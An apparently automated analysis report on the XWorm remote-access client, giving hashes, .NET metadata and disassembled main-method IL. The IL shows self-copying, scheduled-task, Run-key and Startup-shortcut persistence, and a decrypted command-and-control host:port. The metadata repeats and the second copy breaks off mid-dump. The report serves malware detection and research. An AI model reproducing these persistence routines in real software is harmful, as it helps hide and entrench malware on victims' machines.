Symbol Ofbuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 39de8bd084e85bd8f3b292ac3c4f24ad
|
| Sha1 | b7bfbfc0fff81438b639d46de75d36f7c6ce88f4
|
| Sha256 | 469352f730e8387bfcdcc4b398c56c07fa9e9ad4c6dcaa6cc69f99d66c01b533
|
| Sha384 | 720ad0138aec27c27d41d01d4370d0cc4a6a401a5bdd45af875a435db16a28bf9cb03b047e2c994d9b492749df5204a5
|
| Sha512 | f34138f5d7f097d617de2261a87808318b18556c8dba3322b6a0fcab6fa3c28df61eb8f107caa9f35c94117a812852113691fc134ea785cdf114f73548157139
|
| SSDeep | 1536:ABB1Q8LwS18zB5nngxNBQ+bLud+oh+M86QU+Oep4IFjmxW5:Ab8y895nneNe+bLunlGNOe+Ix
|
| TLSH | F2937B5837E34A25F7FEAFB05CE17162E735F14F5B03923F24D903462A1269A8D412EA
|
PeID
|
Name0 | Value |
|---|---|
| Module Name | XWormClient.exe |
| Full Name | XWormClient.exe |
| EntryPoint | System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::it1314g0vx8yLlvs519qwLcGlpVgn85Ju4c5pXKcBHOgNrsY8CyVrno() |
| Scope Name | XWormClient.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | XWormClient |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 335 |
| Main Method | System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::it1314g0vx8yLlvs519qwLcGlpVgn85Ju4c5pXKcBHOgNrsY8CyVrno() |
| Main IL Instruction Count | 336 |
| Main IL | ldsfld System.Int32 TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::iK6eeGYRurFkMzvoYfun2nqxmoa6FmUuRsxkI8esco1mhQrxe9ipcO4hmJ8r7Z2S6uwlkv ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::8BpIPAVdfMUlMb7wPzNTm65FqP5ibMHC4fN4zXz3sJERVCD7RtwNAkvtMFW38HW6wX9Ku7 call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::8BpIPAVdfMUlMb7wPzNTm65FqP5ibMHC4fN4zXz3sJERVCD7RtwNAkvtMFW38HW6wX9Ku7 ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::GVmvWaVLoAYO2ad73g3KUDwuZtuGsOiCFkmLB7jBiJ5Mnx6dwZ16E566DFlGUgcb5JOSj7 call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::GVmvWaVLoAYO2ad73g3KUDwuZtuGsOiCFkmLB7jBiJ5Mnx6dwZ16E566DFlGUgcb5JOSj7 ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::ypjGhwkbbnTDK5Hp0BL3ucCOt2QDSaHaZ3e4wS22CmowrSz3d25S7QwImMUlCqJHXZCILP call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::ypjGhwkbbnTDK5Hp0BL3ucCOt2QDSaHaZ3e4wS22CmowrSz3d25S7QwImMUlCqJHXZCILP ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::LZMuW1UiWdSqnDxZDoir6Z5RxQmHwa0HAf00TpnTdVGCGAWAT6LgNltCFIfWnn3daFoF2k call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::LZMuW1UiWdSqnDxZDoir6Z5RxQmHwa0HAf00TpnTdVGCGAWAT6LgNltCFIfWnn3daFoF2k ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::G0to2vSNyOzlIiilLxEG9RUkEJVuMiDYVsKs6oO03ZBZ41SszFl4rCqlbW9hLoNmNcujQV call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::G0to2vSNyOzlIiilLxEG9RUkEJVuMiDYVsKs6oO03ZBZ41SszFl4rCqlbW9hLoNmNcujQV ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::o8gxbX2gGuH4xiADj9RpLiOhXYiafTusAlcq0bDqCUmPpxHx8j95B4eGUVfqefIHTBcMKF call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::o8gxbX2gGuH4xiADj9RpLiOhXYiafTusAlcq0bDqCUmPpxHx8j95B4eGUVfqefIHTBcMKF ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 leave.s IL_00B8: call System.Boolean Stub.2Ldh6mZiUkR0ks12ArvkjPpZ8jmc4Xogr14kHbZnnMidGV0xkikKa9eoZlsSQ6g2wslwsdIJ::srQ1rkKbbIVbkaQ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00B8: call System.Boolean Stub.2Ldh6mZiUkR0ks12ArvkjPpZ8jmc4Xogr14kHbZnnMidGV0xkikKa9eoZlsSQ6g2wslwsdIJ::srQ1rkKbbIVbkaQ() call System.Boolean Stub.2Ldh6mZiUkR0ks12ArvkjPpZ8jmc4Xogr14kHbZnnMidGV0xkikKa9eoZlsSQ6g2wslwsdIJ::srQ1rkKbbIVbkaQ() brtrue.s IL_00C5: call System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::KP2NdLZazxyACWiYJWzVCJVW0zdShzkE3gnvygFyvYpb5CYvVf39LIG() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::KP2NdLZazxyACWiYJWzVCJVW0zdShzkE3gnvygFyvYpb5CYvVf39LIG() ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::o8gxbX2gGuH4xiADj9RpLiOhXYiafTusAlcq0bDqCUmPpxHx8j95B4eGUVfqefIHTBcMKF ldstr \ ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 call System.String System.String::Concat(System.String,System.String,System.String) stloc.1 <null> ldloc.1 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_010C: ldloc.1 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0123: ldc.i4 1000 ldloc.1 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.1 <null> ldsfld System.String Stub.2Ldh6mZiUkR0ks12ArvkjPpZ8jmc4Xogr14kHbZnnMidGV0xkikKa9eoZlsSQ6g2wslwsdIJ::uB3D0OFIyjNcjfM call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_014E: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_014E: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.2ZqOjUqCXIQEZWpl8ctL4KLFRmgxpQQEOYy8bPhL7suAapQ7xXC36Ax::YXztBPRxbEZjZ7zOwLdTVfjH9v06pcBTlAQqBngYFaPmHEqoEYvCGka() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01B4: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_01F8: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0219: call My.n0Zwo5oRec0pNjwj6NDyCpHP0UbZqwzJlnVKTjYPKonWBBZ5C93HVLnr8YhEHydoKOAd1P My.ymftQVUe6z8XgIorRjmFGZtgpCGCIYQaYnCME0RjZRcX3n7ehvYhCnpIxddLh6pbdfU8QY::vC0PmBpdtQpcJR0prJZ1t2hcpGcAD1ahlNMM02e0h1dnyfs4BxGJCXb1Y5XWOeg3i4SiWU() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0219: call My.n0Zwo5oRec0pNjwj6NDyCpHP0UbZqwzJlnVKTjYPKonWBBZ5C93HVLnr8YhEHydoKOAd1P My.ymftQVUe6z8XgIorRjmFGZtgpCGCIYQaYnCME0RjZRcX3n7ehvYhCnpIxddLh6pbdfU8QY::vC0PmBpdtQpcJR0prJZ1t2hcpGcAD1ahlNMM02e0h1dnyfs4BxGJCXb1Y5XWOeg3i4SiWU() call My.n0Zwo5oRec0pNjwj6NDyCpHP0UbZqwzJlnVKTjYPKonWBBZ5C93HVLnr8YhEHydoKOAd1P My.ymftQVUe6z8XgIorRjmFGZtgpCGCIYQaYnCME0RjZRcX3n7ehvYhCnpIxddLh6pbdfU8QY::vC0PmBpdtQpcJR0prJZ1t2hcpGcAD1ahlNMM02e0h1dnyfs4BxGJCXb1Y5XWOeg3i4SiWU() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.1 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_0254: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0254: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_02D9: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.2Ldh6mZiUkR0ks12ArvkjPpZ8jmc4Xogr14kHbZnnMidGV0xkikKa9eoZlsSQ6g2wslwsdIJ::PXAvpulC8MIgMVI leave.s IL_0358: ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::G0to2vSNyOzlIiilLxEG9RUkEJVuMiDYVsKs6oO03ZBZ41SszFl4rCqlbW9hLoNmNcujQV dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0358: ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::G0to2vSNyOzlIiilLxEG9RUkEJVuMiDYVsKs6oO03ZBZ41SszFl4rCqlbW9hLoNmNcujQV ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::G0to2vSNyOzlIiilLxEG9RUkEJVuMiDYVsKs6oO03ZBZ41SszFl4rCqlbW9hLoNmNcujQV call System.String Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::xbdBp6ZbVtOfJHJAxxtlasYJL4hL1hZME5V2pY25w85eFfIWC01Kp5b(System.String) stloc.0 <null> ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_20 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::OKf7k8lgcper1cLWPdix5ot4LH7vULrBXca3RO9wncraEYztOcdyuWTXx7ktqNZ9TfP0o8 ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_20 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.1 <null> ldelem.ref <null> stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::U9Tq4DL4lOJf5APpCRonpLXnHKVKq3cOiwtP3autAgS0t1f1vNztPAVXU5o3J8Lfk9uXGh call System.Void Stub.2Ldh6mZiUkR0ks12ArvkjPpZ8jmc4Xogr14kHbZnnMidGV0xkikKa9eoZlsSQ6g2wslwsdIJ::J61RabooT5ZrJ2S() ldnull <null> ldftn System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::zlBY5aQy1yELObmOeAyedHoIFLp03DSTGQEp797jwdHxZX8PowEyJ05() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.2ZqOjUqCXIQEZWpl8ctL4KLFRmgxpQQEOYy8bPhL7suAapQ7xXC36Ax::YXztBPRxbEZjZ7zOwLdTVfjH9v06pcBTlAQqBngYFaPmHEqoEYvCGka() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03C9: ldnull call System.Void Stub.OTggk7ORjWBAINbRC09JQKfdFcrhlFggkile4k4XQTzd9p3GudFSaxWGsE8nTW0NPYnOybV4::k1Wxrlc6BbL5kRuxEhabUJ3P6UOhXTbphlrBFcypkHg1PDebR892gA6UjeRiHojJ3xvvz3Yc() ldnull <null> ldftn System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::BKyKkeyKdghUTPs49qPTDtkdX4p83dwENlZ9J9IOYIYA5SFKZUOAzft() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldnull <null> ldftn System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::SHaOiLP5sINf04fMdr7ntWZqyg3hCaxLfwdZX5AQYOxp9913IT4H8c1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |
| Module Name | XWormClient.exe |
| Full Name | XWormClient.exe |
| EntryPoint | System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::it1314g0vx8yLlvs519qwLcGlpVgn85Ju4c5pXKcBHOgNrsY8CyVrno() |
| Scope Name | XWormClient.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | XWormClient |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 335 |
| Main Method | System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::it1314g0vx8yLlvs519qwLcGlpVgn85Ju4c5pXKcBHOgNrsY8CyVrno() |
| Main IL Instruction Count | 336 |
| Main IL | ldsfld System.Int32 TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::iK6eeGYRurFkMzvoYfun2nqxmoa6FmUuRsxkI8esco1mhQrxe9ipcO4hmJ8r7Z2S6uwlkv ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::8BpIPAVdfMUlMb7wPzNTm65FqP5ibMHC4fN4zXz3sJERVCD7RtwNAkvtMFW38HW6wX9Ku7 call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::8BpIPAVdfMUlMb7wPzNTm65FqP5ibMHC4fN4zXz3sJERVCD7RtwNAkvtMFW38HW6wX9Ku7 ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::GVmvWaVLoAYO2ad73g3KUDwuZtuGsOiCFkmLB7jBiJ5Mnx6dwZ16E566DFlGUgcb5JOSj7 call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::GVmvWaVLoAYO2ad73g3KUDwuZtuGsOiCFkmLB7jBiJ5Mnx6dwZ16E566DFlGUgcb5JOSj7 ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::ypjGhwkbbnTDK5Hp0BL3ucCOt2QDSaHaZ3e4wS22CmowrSz3d25S7QwImMUlCqJHXZCILP call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::ypjGhwkbbnTDK5Hp0BL3ucCOt2QDSaHaZ3e4wS22CmowrSz3d25S7QwImMUlCqJHXZCILP ldsfld System.String 